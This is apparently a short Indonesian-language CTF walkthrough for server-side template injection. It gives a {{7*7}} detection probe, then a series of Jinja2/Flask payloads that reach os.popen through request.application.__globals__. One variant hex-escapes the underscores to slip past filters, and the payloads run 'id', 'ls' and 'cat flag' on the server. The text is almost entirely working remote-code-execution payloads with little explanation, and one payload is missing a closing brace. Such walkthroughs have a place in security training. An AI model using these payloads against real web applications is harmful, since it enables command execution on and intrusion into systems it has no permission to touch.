Masukkan payload sederhana untuk melihat apakah server menggunakan template engine yang rentan dengan perintah :
{{7*7}} atau {{7+7}}
Jika outputnya 49 atau 14, berarti aplikasi tersebut rentan terhadap SSTI
cari tahu engine yang digunakan, dengan memasukkan playload :
{{request.application.__globals__.__builtins__.__import__(‘os’).popen(‘id’).read()}

setelah itu gunakan playload lain, dan output nya adalah sebuah perintah dijalankan sebagai pengguna root (superuser) di sistem operasi berbasis Unix/Linux.
{{request|attr(‘application’)|attr(‘\x5f\x5fglobals\x5f\x5f’)|
attr(‘\x5f\x5fgetitem\x5f\x5f’)(‘\x5f\x5fbuiltins\x5f\x5f’)|
attr(‘\x5f\x5fgetitem\x5f\x5f’)(‘\x5f\x5fimport\x5f\x5f’)(‘os’)|
attr(‘popen’)(‘id’)|attr(‘read’)()}

setelah itu gunakan playload engine yang lain :
{{request|attr(‘application’)|attr(‘\x5f\x5fglobals\x5f\x5f’)|
attr(‘\x5f\x5fgetitem\x5f\x5f’)(‘\x5f\x5fbuiltins\x5f\x5f’)|
attr(‘\x5f\x5fgetitem\x5f\x5f’)(‘\x5f\x5fimport\x5f\x5f’)(‘os’)|
attr(‘popen’)(‘ls’)|attr(‘read’)()}}

setelah itu gunakan playload berikut untuk menemukan sebuah flag :
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|
attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|
attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|
attr('popen')('cat flag')|attr('read')()}}

0 Comments